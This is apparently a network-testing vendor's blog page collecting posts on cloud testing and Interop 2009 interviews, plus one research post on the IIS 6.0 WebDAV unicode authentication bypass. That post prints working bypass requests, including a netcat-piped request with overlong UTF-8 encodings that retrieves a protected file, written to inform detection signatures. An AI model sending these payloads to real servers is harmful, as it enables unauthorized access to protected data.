Topics of Interest
- Application Protocol Fuzzing
- Cloud Computing and Virtualization
- Custom Applications and Attacks
- Cyber Warfare
- Data Center Planning and Consolidation
- DDoS and Botnet Simulation
- Deep Packet Inspection
- IPTV
- IPv4/IPv6
- Layer 2-7
- Network Traffic Generation
- Performance Testing
- Security Updates
- Server Load Testing
- VoIP
- 10/40/100 GigE
Devices
Testing Cloud Computing Today with BreakingPoint Elite
Cloud computing continues to make news and it certainly was no different during Interop as you read in my posts from last week. In most cases, however, there is still an absence of discussion around what it takes to test the cloud infrastructure. Pam O'Neal started this discussion with the four considerations for testing the cloud computing infrastructure and Dennis Cox subsequently talked with us about the important testing procedures one should think about when testing the cloud infrastructure.
A follow up conversation with Dennis ensued where we talked in-depth about what people can do today to test the cloud infrastructure and the unique features of BreakingPoint Elite that allow this to happen. The conversation includes the following:
- The inability for load testing tools to scale to proper performance levels when testing a cloud environment.
- Bit-blasting testing tools are not ideal for testing the cloud because they don't use real application traffic.
- The ability to do client emulation at 7.5M concurrent connections and blended stateful application traffic (among other things) does make BreakingPoint a good fit for testing the cloud.
- The BreakingPoint architecture (network processor, FPGAs, and more) is a key for allowing high-performance with realistic traffic.
- The most important applications to test with off the bat include database protocols, web-based protocols and more.
Update: Get instant access to BreakingPoint's step-by-step Server Load Balancer Testing Methodology.
'Slash' and Burn - The IIS 6.0 WebDAV Bug
Update: The iisunicode.rb script was updated to use the correct character sets for each encoding size. Some typos and the description of the script were corrected
On May 12, 2009 Nikolaos Rangos released an advisory detailing an authentication bypass vulnerability in Microsoft IIS 6.0 servers running WebDAV. IIS 6.0 fails to properly handle unicode tokens when parsing URIs when WebDAV is enabled. This failure allows an attacker to access documents in a password-protected directory on the server, and in some configurations even upload documents to the server. Configurations that allow the IUSR_[HOSTNAME] Windows user write access to a WebDAV folder can be abused to perform file uploads. If the server is somewhat misconfigured, and ASP scripts can be uploaded to a directory outside the WebDAV folder (if for instance a non-WebDAV web folder is mapped to be inside the WebDAV root), and ASP scripts are enabled on the directory, it may be possible to execute ASP code on the server.
The advisory shows that the following request will bypass authentication on the IIS server:
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
The protected URI in question is /protected/protected.zip, with the string %c0%af inserted in the middle. This character is a forward-slash that's been converted to UTF-8 Unicode using the overlong encoding method with a size of 2, the result of which has been URI-encoded. An example of this using the Rex library from the Metasploit framework is shown here:
Rex::Text.uri_encode(Rex::Text.to_unicode('/','utf-8','overlong',2))
=> "%c0%af"
Thierry Zoller posted a comprehensive blogpost on the subject which included a video demonstrating HTTP GET requests downloading files from protected directories, HTTP PROPFIND requests listing protected directories, and HTTP PUT requests uploading ASP code to the IIS server. The video demonstrates the configuration of allowing ASP code to execute as I described above. He also cites work done by the folks behind SkullSecurity, who have posted their analysis as well as some code they created to exploit this vulnerability. Erik Fichtner also discovered this at the same time and contributed a patch to the metasploit module to support it. Check Point also released a a signature to detect attempts at exploiting this vulnerability.
I investigated this vulnerability in order to write strikes for this week's StrikePack. I wondered if %c0%af is the only unicode sequence that allows the authentication bypass. I setup an IIS server with WebDAV, created a password-protected directory, and put a single file inside the DAVroot that contained a string I could match on in a script. I then wrote a script that uses the Rex library, and manually tested a few characters and modified the UTF-8 encoding methods and byte sizes to use. I started finding that authentication bypass occurred using much more than a simple '/' character. I also started to see that it appeared that UTF-8 overlong encodings using 2- and 3-byte characters were the only cases in which authentication was bypassed. UTF-8 overlong encodings using 4-byte lengths or higher never bypassed authentication on the WebDAV server. The unicode-encoded character can appear anywhere inside of the protected directory name, meaning anywhere between the first and last forward slash in the directory part of the URI.
At this point, I decided to enumerate all the single-byte characters in the ASCII range using UTF-8 overlong encodings of size 2 and 3 to see what would work for bypassing authentication. The results were interesting. When using an encoding size of 2, 118 characters bypassed authentication. When using an encoding size of 3, 177 characters bypassed authentication. The differences in the 2 encoding sizes also showed something else interesting. In size-2 mode, many, but not all, of the alphabetic characters successfully bypassed authentication. However, in size-3 mode, no alphabetic characters were successful . In size-2 mode, no character above ASCII value 0x7f was successful , but in size-3 mode, they all were. I'm unsure of the reason behind why this is, but it will make detection a little more difficult for IPS signature teams.
After this discovery, I wondered if there were any invalid UTF-8 encodings that would work that I hadn't found yet. I wrote a script to enumerate all 65K possibilities from %00%00 to %ff%ff. The results from this method exactly agreed with my findings using the Rex library. I have written a version to brute thru the size-3 characters, but that set is 16 million long, which has exceeded my local resource limits. After correcting that, if there are any new findings, I will update this blog post.
I am making the script that uses the Rex library available. This script will produce an HTTP GET request that you can pipe to your server using netcat or something similar. You'll need to modify the Host: header, as well as the path to your protected directory ('/protected') and filename ('secretfile.txt').
Don't forget that any number of UTF-8 characters can be used, which makes detection somewhat interesting. IDS and IPS signatures for this vulnerability must be able to detect all possible encoded characters using multiple UTF-8 encoding lengths in order to block attempts to exploit this vulnerability.
I'll leave you with this example from some of my testing:
$ iisunicode.rb utf-8 overlong 2 1000 | nc iisserver 80
GET /protect%c0%8a%c1%b3%c0%8a%c0%bf%c1%ba%c0%91%c1%93%c0%b9%c0%bb%c0%a4%c1%ab%c0%99%c0%91%c1%8b%c0%86%c1%86%c1%96%c0%ab%c0%a7%c1%88%c0%b9%c1%a8%c1%b1%c1%a6%c0%a9%c1%a9%c1%95%c1%b3%c0%8c%c0%91%c1%be%c1%80%c0%84%c1%a4%c1%86%c0%b9%c0%86%c0%91%c0%94%c0%9e%c0%98%c1%bb%c0%a3%c1%a3%c1%b7%c1%9e%c1%a0%c1%b5%c1%8c%c0%b6%c1%b2%c1%88%c1%8b%c0%89%c0%a1%c1%98%c1%80%c0%85%c0%ac%c0%a8%c1%b6%c1%85%c0%9b%c0%8b%c0%b6%c0%8e%c1%a0%c1%b3%c1%8a%c1%91%c1%b0%c1%a3%c0%94%c0%9e%c1%99%c0%82%c1%a2%c1%89%c1%bd%c1%9e%c1%9a%c0%b0%c0%a4%c1%b5%c0%88%c1%88%c0%ba%c1%b9%c0%80%c1%86%c1%97%c0%aa%c0%9f%c1%bd%c0%82%c0%82%c0%a8%c0%84%c1%aa%c1%97%c1%a7%c0%9a%c1%b0%c1%ab%c1%ac%c1%87%c0%84%c1%9a%c0%8b%c0%ba%c1%b8%c0%88%c0%95%c1%97%c1%9c%c1%a1%c0%ad%c1%a9%c1%8e%c0%8a%c0%b1%c1%9f%c0%a0%c0%8a%c1%aa%c0%84%c1%8a%c0%92%c1%bb%c1%a9%c1%ac%c1%a6%c1%b9%c1%8c%c1%ac%c1%82%c1%98%c0%99%c1%ad%c0%a2%c0%b9%c0%8c%c0%9b%c0%8e%c1%b3%c1%b8%c0%b6%c1%bf%c0%a7%c0%b0%c0%95%c1%a6%c0%8a%c1%b1%c1%9f%c0%a5%c0%a2%c0%b9%c0%a4%c0%a5%c0%8e%c0%98%c0%aa%c0%8b%c1%93%c0%ae%c0%b5%c0%97%c1%ba%c1%bb%c0%91%c1%b3%c0%a1%c1%ad%c1%92%c0%ae%c0%b0%c1%aa%c0%bd%c1%b3%c1%bb%c0%8b%c1%87%c1%89%c0%82%c1%93%c1%b4%c0%a8%c0%84%c1%8e%c0%a5%c0%9c%c0%ac%c0%ae%c1%be%c0%a2%c1%b3%c1%bd%c0%a8%c0%ba%c0%97%c1%ac%c1%ac%c1%ae%c0%ae%c0%b2%c1%93%c1%9c%c0%95%c0%aa%c1%91%c0%83%c0%82%c0%ad%c1%a0%c1%a1%c0%8b%c1%ac%c1%86%c0%80%c1%a2%c1%b0%c1%85%c1%bd%c1%87%c0%af%c0%92%c1%9e%c1%91%c1%86%c0%94%c1%9a%c0%aa%c0%b3%c1%85%c0%8a%c1%92%c0%a7%c1%82%c0%a7%c0%8b%c0%ad%c1%8a%c1%9b%c0%9f%c0%b8%c0%8b%c1%9c%c1%94%c1%b7%c0%bd%c1%a3%c1%a8%c1%b2%c0%83%c0%89%c1%a0%c0%9a%c0%bb%c1%b9%c1%9c%c1%88%c0%af%c0%b4%c1%83%c1%bf%c1%8c%c0%98%c0%9c%c0%be%c0%9f%c1%99%c0%ae%c0%92%c0%94%c1%b0%c1%b3%c0%85%c1%9a%c0%8e%c0%80%c0%b2%c1%aa%c0%95%c1%84%c1%b7%c0%b5%c1%8b%c0%b8%c0%a1%c0%99%c1%96%c0%b7%c1%b0%c0%bb%c1%b6%c0%a4%c1%82%c0%b0%c1%a2%c1%a3%c0%97%c1%b7%c1%9c%c0%bf%c1%93%c0%98%c0%8c%c1%ae%c0%ab%c1%91%c0%a7%c1%91%c0%ae%c0%8b%c1%ba%c0%88%c1%aa%c1%bf%c1%94%c1%8b%c0%a8%c1%be%c0%8c%c0%af%c1%bb%c1%97%c0%bd%c0%bb%c1%8e%c1%bd%c1%bf%c0%8b%c0%9c%c1%a7%c0%9f%c0%a8%c0%af%c1%ae%c1%95%c0%8a%c1%ad%c1%a5%c0%91%c1%bc%c0%a9%c1%87%c0%85%c1%89%c0%94%c1%ad%c0%ae%c1%91%c0%8a%c0%a8%c0%9e%c0%96%c0%a2%c0%bd%c1%92%c1%b3%c1%a0%c0%83%c1%87%c0%95%c1%a3%c0%b3%c1%91%c0%b0%c0%95%c0%a1%c0%93%c1%8e%c0%b4%c0%8e%c1%a8%c1%9c%c0%be%c0%a2%c0%9e%c1%86%c0%87%c1%96%c1%8c%c0%80%c1%bd%c1%b1%c0%a9%c1%8c%c0%88%c1%b7%c1%ab%c1%96%c1%8e%c1%97%c0%8c%c0%82%c0%82%c1%88%c1%a3%c1%aa%c1%bf%c1%92%c1%9a%c0%9b%c1%a2%c1%b9%c1%bf%c0%ab%c1%8a%c0%af%c0%9b%c0%99%c1%98%c0%83%c0%8b%c0%bd%c0%a9%c0%bc%c0%a9%c0%a4%c0%a4%c1%b4%c1%95%c0%ab%c0%b8%c1%ac%c1%bd%c1%9b%c0%a6%c0%b2%c0%8e%c0%91%c1%b1%c1%b1%c0%95%c0%b4%c1%8e%c1%83%c1%a8%c1%a4%c1%9c%c0%83%c0%8b%c0%b1%c0%8c%c1%8c%c0%8b%c1%bc%c0%bf%c0%93%c1%b6%c1%a2%c1%9f%c1%9c%c1%84%c1%8b%c1%84%c0%a2%c0%ba%c1%82%c0%9f%c1%97%c0%bf%c1%96%c0%96%c0%a7%c0%97%c1%8c%c0%9c%c1%9e%c0%91%c0%bc%c0%9e%c0%93%c1%ba%c1%84%c0%92%c0%89%c1%b9%c0%8b%c1%85%c1%b4%c0%99%c0%8c%c1%82%c1%ae%c0%b5%c0%ac%c1%9c%c1%b9%c0%87%c0%91%c1%84%c0%a9%c0%a4%c0%bb%c0%b7%c0%b4%c0%82%c1%9e%c1%8c%c0%9f%c1%8b%c0%9a%c1%a3%c0%a2%c1%88%c0%9b%c0%86%c0%ba%c0%92%c1%98%c1%99%c0%84%c1%b8%c0%a0%c1%95%c1%88%c1%a5%c0%8e%c1%89%c1%87%c1%b6%c1%89%c1%a2%c0%b5%c0%87%c1%a2%c1%8b%c0%83%c1%be%c0%98%c1%a6%c1%a0%c1%9c%c1%a6%c1%bd%c1%b3%c0%a0%c0%a7%c0%9f%c1%9a%c0%87%c0%ba%c0%b3%c0%a7%c1%a6%c0%af%c0%8c%c0%b7%c0%ac%c0%98%c0%95%c1%94%c0%97%c0%86%c1%9a%c0%b9%c0%96%c0%a3%c1%94%c1%93%c1%b2%c1%a9%c1%92%c1%98%c0%b3%c0%94%c1%ac%c0%88%c1%b5%c0%89%c0%a1%c0%a2%c0%a9%c0%9a%c1%be%c0%82%c0%a9%c1%82%c1%94%c0%9e%c0%b2%c0%b6%c1%b9%c1%98%c1%9c%c0%80%c0%94%c1%94%c1%b4%c0%84%c1%92%c1%9c%c1%86%c1%be%c1%b8%c0%99%c0%88%c1%bd%c1%88%c1%8b%c1%b6%c1%b1%c0%ab%c1%85%c1%97%c0%9b%c0%8a%c1%b5%c0%bb%c1%92%c1%97%c0%95%c0%b9%c1%a6%c0%b9%c1%b3%c0%98%c0%89%c0%94%c0%b0%c0%85%c0%aa%c0%ab%c0%8e%c1%8a%c1%80%c0%a4%c0%bf%c1%96%c1%a5%c0%b2%c0%92%c0%b0%c0%b7%c0%9a%c0%8a%c1%b6%c1%a6%c0%ab%c1%af%c1%bd%c1%be%c0%91%c1%b7%c0%b0%c0%b8%c0%83%c1%a3%c0%bc%c0%82%c1%bd%c1%ba%c0%83%c1%b9%c1%98%c0%88%c1%9e%c1%bf%c0%9c%c1%ac%c1%bd%c1%a3%c0%a9%c0%ba%c0%bf%c0%a0%c0%bc%c0%b1%c1%b3%c1%98%c1%91%c0%9b%c1%a4%c0%8b%c0%ab%c0%89%c1%91%c0%b5%c1%a0%c1%9c%c1%9b%c1%bb%c0%b8%c1%ad%c1%96%c0%a8%c1%8c%c1%a2%c1%97%c1%89%c0%89%c0%80%c0%a5%c0%ac%c0%a8%c0%ba%c0%89%c1%ad%c0%97%c1%8c%c1%b3%c1%92%c0%a0%c0%86%c1%a2%c1%be%c0%8b%c0%93%c0%bf%c1%b2%c1%b2%c0%b0%c0%b5%c1%9b%c0%a7%c1%aa%c0%be%c0%af%c1%b0%c0%a6%c0%8b%c1%b8%c1%be%c0%9b%c0%bf%c0%b0%c1%a6%c0%aa%c1%b5%c1%95%c1%95%c1%89%c1%b7%c1%ab%c1%a0%c1%84%c0%b9%c0%b2%c1%a6%c0%a8%c0%8e%c1%9c%c0%a2%c0%84%c1%85%c1%89%c1%8c%c0%a4%c1%86%c0%ba%c0%a1%c0%b6%c0%98%c1%b8%c0%b8%c0%aa%c0%a4%c0%b4%c0%a0%c0%86%c1%95%c0%83%c0%9a%c1%bf%c0%86%c1%b2%c0%bf%c0%85%c1%bc%c1%a7%c1%8e%c1%97%c1%ab%c1%86%c0%a8%c1%92%c1%89%c1%b7%c1%aa%c1%bf%c0%a0%c1%a3%c0%80%c1%8e%c0%ab%c1%ad%c1%a4%c1%82%c1%87%c1%b5%c1%83%c0%92%c0%b9%c1%b3%c1%ab%c0%9c%c0%b8%c1%82%c1%b6%c0%96%c1%bd%c1%99%c1%9e%c0%b8%c1%8c%c0%97%c1%ba%c1%b3%c0%a9%c1%ba%c1%95%c0%ac%c1%b1%c1%a1%c0%ab%c0%84%c1%a5%c0%95%c1%a2%c0%9a%c1%b4%c0%a8%c0%ba%c0%94%c0%83%c1%ab%c1%9a%c0%ac%c0%94%c1%82%c0%a8%c1%b6%c1%b5%c1%a9%c0%92%c1%a8%c1%9c%c1%82%c0%87%c0%93%c0%97%c0%a1%c0%b7%c1%a1%c1%a3%c0%98%c1%a1%c0%a9%c1%b2%c1%a7%c1%96%c1%9e%c0%84%c0%84%c1%93%c0%a7%c0%84%c0%85%c0%94%c1%bb%c1%b9%c1%a5%c1%87%c0%a1%c0%8e%c0%a6%c0%98%c0%b0%c0%89%c0%8e%c1%86%c0%96%c0%87%c1%a6%c1%b7%c0%bf%c0%b1%c0%8b%c0%99%c1%a6%c0%87%c1%85%c0%ba%c1%85%c1%b1%c0%aa%c0%b5%c1%b9%c1%a3%c1%b7%c0%98%c1%96%c0%a2%c0%86%c1%ae%c0%85%c0%ab%c0%8c%c1%a5%c1%b2%c1%91%c0%8e%c1%ac%c0%89%c0%aa%c0%b7%c1%a1%c0%8b%c1%a7%c1%9b%c0%b6%c0%b5%c0%91%c1%91%c0%bd%c0%b0%c1%a4%c0%80%c0%85%c0%b4%c1%9a%c0%9f%c0%a0%c1%87%c1%b5%c0%a1%c1%bc%c0%b9%c1%91%c1%a2%c1%87%c0%a3%c1%b4%c0%9e%c0%8b%c0%b6%c0%a7%c0%b5%c1%bc%c1%82%c0%ba%c1%96%c0%8b%c0%bb%c0%b6%c1%a5%c0%8b%c0%85%c1%b5%c1%b5%c0%b4%c0%9f%c1%9c%c1%87%c1%87%c0%b7%c1%b7%c0%95%c0%96%c0%9b%c1%91%c1%93%c0%a0%c1%b4%c1%b1%c1%b2%c0%86%c0%a2%c0%82%c0%bd%c1%91%c0%99%c1%ae%c0%a9%c0%bc%c0%8a%c0%92%c0%bb%c1%80%c1%8a%c0%a2%c0%aa%c0%94%c0%bc%c0%a7%c0%b8%c0%a8%c0%9e%c0%a1%c0%ad%c0%8a%c0%93%c0%9c%c0%8a%c1%89%c1%b1%c1%83%c1%b4ed/secretfile.txt HTTP/1.1
Translate: f
Connection: close
Host: iisserver
HTTP/1.1 200 OK
Connection: close
Date: Fri, 22 May 2009 21:10:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/plain
Content-Length: 5
ETag: "5e5fb737f8dac91:a6d"
Last-Modified: Fri, 22 May 2009 16:13:17 GMT
Accept-Ranges: bytes
PWNT!
Customers can download StrikePacks 46157/46159 to get access to new strikes that test this vulnerability. StrikeCenter authentication is required.
Notes from Interop '09: Testing Juniper SRX
In February of this year Juniper tested the SRX5800 with real blended application traffic and security attacks using BreakingPoint Elite. During Interop this past week Juniper wanted to show off the branch version of the services gateway, the Juniper SRX650 again using BreakingPoint to conduct the live and realistic test. I shot some video of the folks performing the live test.
The tests were done nearly every hour for three days, helping hundreds of people not only understand the Juniper SRX product line, but also what it means to actually conduct a realistic and live test with traffic from applications typically found on a real network such as HTTP, DNS, BitTorrent, FTP and SMTP.
Notes from Interop '09: 40/100 GigE Adoption
Walking around the show floor at Interop in Las Vegas this year you were certain to see hyperbole everywhere (not to mention live boxing matches hosted by Xirrus). “World’s largest” and “world’s fastest” seem to be commonplace on dozens of booths. Reminds me of the street I grew up on where there were two pizza places that claimed they had the "world’s best pizza". After a while you become a bit numb to it all and look for a conversation with folks talking about what they are doing to help foster innovation in the networking industry.
One group that seemingly doesn't rely on these stunts is the Ethernet Alliance. More than 25 years ago Ethernet was introduced and over the decades it has become critical to networking even as it continues to evolve. During many of those years the Ethernet Alliance has been a part of supporting and promoting Ethernet; providing an industry voice for the IEEE 802 Ethernet standards.
Talking with Ethernet Alliance Chairman Brad Booth amongst the hubbub of Interop he defined his groups mission simply;
“After the IEEE introduces a standard, they are not there to answer questions or promote the standard to move it into the market faster. The Ethernet Alliance fills that hole.”
The key, according to Booth, is listening to the other members of the Alliance to figure out what they are working on, and socialize the work in the industry.
“We participate heavily in the IEEE standards, but we rely on our members to inform us and each other where to focus. This includes 10GigE, 40GigE and 100GigE.” Booth continued "With the tough economy and no official standards for 40/100 GigE, people do have important questions about the continued evolution of Ethernet. We help answer these questions."
According to Booth, reports have shown that bandwidth has doubled as the economy went down during the past few months, showing a greater need for Ethernet than ever before. Perhaps this is the result of more people working from home, searching for jobs or simply staying in and downloading movies rather than going to the theater. No matter the reason, network equipment manufacturers and service providers are racing to keep up with the immense and disparate needs of network users. That of course brings up the topic of 40/100 GigE.
Although still not a standard, Booth does see 40/100 GigE becoming a reality in 12 months. This is being driven by the trends we just discussed above, but also by new initiatives such as cloud computing. As companies rely more on the cloud to host their infrastructure and services the need for a faster standard becomes paramount. Earlier in the week while talking with Univa UD CEO Jason Liu, he mentioned seeing mass adoption of cloud still 24-36 months away. This amount of time would give the new Ethernet standards the time for proper validation to move beyond the marketing hype that has surrounded the 40/100 GigE standards and make a significant impact to the next generation of networking services.
Many folks are just now moving to 10 GigE, as demonstrated in last year's data from Infonetics Research, and this was validated by the conversations I had throughout the Interop show floor this week. We should always look ahead, of course, but establishing the methods for truth in testing for what is being deployed today should be a prominent goal. This means testing with the RIGHT type of blended application traffic and live security strikes at the performance levels required for your product.
Easier said than done of course, since many solutions stumble even at the 10 GigE level when you start moving beyond simple HTTP, and we all know our network is more than HTTP (this is, of course, a key driver behind the BreakingPoint network processor based architecture that is leading to much needed change in the testing industry). As we continue to speak about truth in testing here at BreakingPoint Labs, the Ethernet Alliance advances the importance and relevancy of all Ethernet technologies. It certainly made for an interesting conversation at Interop and I'm sure continued conversation throughout our industry.
Notes from Interop '09: Speaking the Testing Truth with Riverbed
Day two of Interop and the crowd seemingly grew larger, in fact there was a significant wait to get onto the show floor during the morning. Reminded me of people camped out the day after Thanksgiving for sales at the local mall, but with a bit less pushing and shoving. While sipping my coffee and waiting my turn through the glare of security I was reviewing the questions I wanted to ask my first interview of the day, Apurva Davè, Senior Director of Product Marketing of Riverbed.
Fortunately for me, Apurva kicked off the conversation by talking about testing with stateful applications; mentioning Oracle, CIFS, and others. A topic I could discuss all day. Our conversation moved into what Riverbed is bringing to the WAN optimization market and after our 30 minutes were up it all naturally came back around to realistic testing.
WAN optimization seems to be another one of those "buzz words" of late and Apurva knows why...the economy. Companies are ordering their IT staff to cut costs or potentially have their own jobs cut. In the same breath they are also being asked to provide better overall bandwidth optimization, better application performance and tighter security. According to Apurva, WAN optimization has become one project that companies can undertake to save money relatively quickly, but also help with optimizing bandwidth and overall performance.
"WAN optimization provides two key elements for companies. First are fewer physical appliances and second is more virtualized data control. We understand that some stuff, DNS, firewalls, etc. must stay local. But very quickly you can use WAN optimization to cut costs and optimize bandwidth."
Riverbed's Steelhead Applicances run VMware, allowing their users to place a virtualized instance of nearly anything on the appliance for use in the WAN. Additionally, the company has created strategic partnerships with vendors such as Checkpoint and Microsoft to prepackage certain products directly on the Steelhead appliance. Ultimately, hower, it is up to the user to determine how they want to use WAN optimization with the Riverbed appliance. This can lead to very clever uses of the product. One example Apurva shared involved a customer who needed to send data to a remote ship. Because of the volume of data, traditional FTP would take up to 36 hours to transfer. This company had gotten to the point where they were flying a hard drive out to the ship via helicopter! However, since they deployed the Riverbed product, they can now complete the transfer in a matter of minutes.
While, WAN optimization boasts a number of benefits, it does have it's limitations. One of the myths in the world of WAN optimization is that it can help with packet loss, but Apurva actually thinks that is not true.
"WAN optimization can help mitigate the evidence of packet loss, but not help you eliminate it...WAN optimization can't help with a bad connector or something of that sort. We can help recover the packet quickly, however, since we are TCP based and you can turn on features that allow for faster high-speed TCP."
The TCP conversation was interesting since Riverbed has a firm footing in TCP and UDP, while most of their competitors seem to lean more heavily towards UDP. As we started to talk about TCP the concept of applications naturally came into the conversation and we started to examine testing once again. When it comes to testing the Riverbed appliance, Apurva believes in a three-phased philosophy:
- Test the speed
- Test the scalability
- Test the simplicity of integration
And, test with realistic applications, as we discussed above. Because of the nature of the product and its uses, it makes sense for Riverbed customers to evaluate the product in their own environment before they actually make a decision, this way they can see the direct benefits they are going to receive from WAN optimization in a multi-site live network. Or as Apurva stated "use the real network". The belief is that there is no better way to get budget approval than to actually show real benefits. But, as we know, this is dependent on realistic testing of the product before it reaches the customer.
"Use the real network" is the best way for companies to determine the benefits of WAN optimization and emulating a real network is the only way to truly test any network equipment before it gets into the customer's hands.
Tags: server load testing // load balancers // blog post // data center planning and consolidation // cloud computing and virtualization //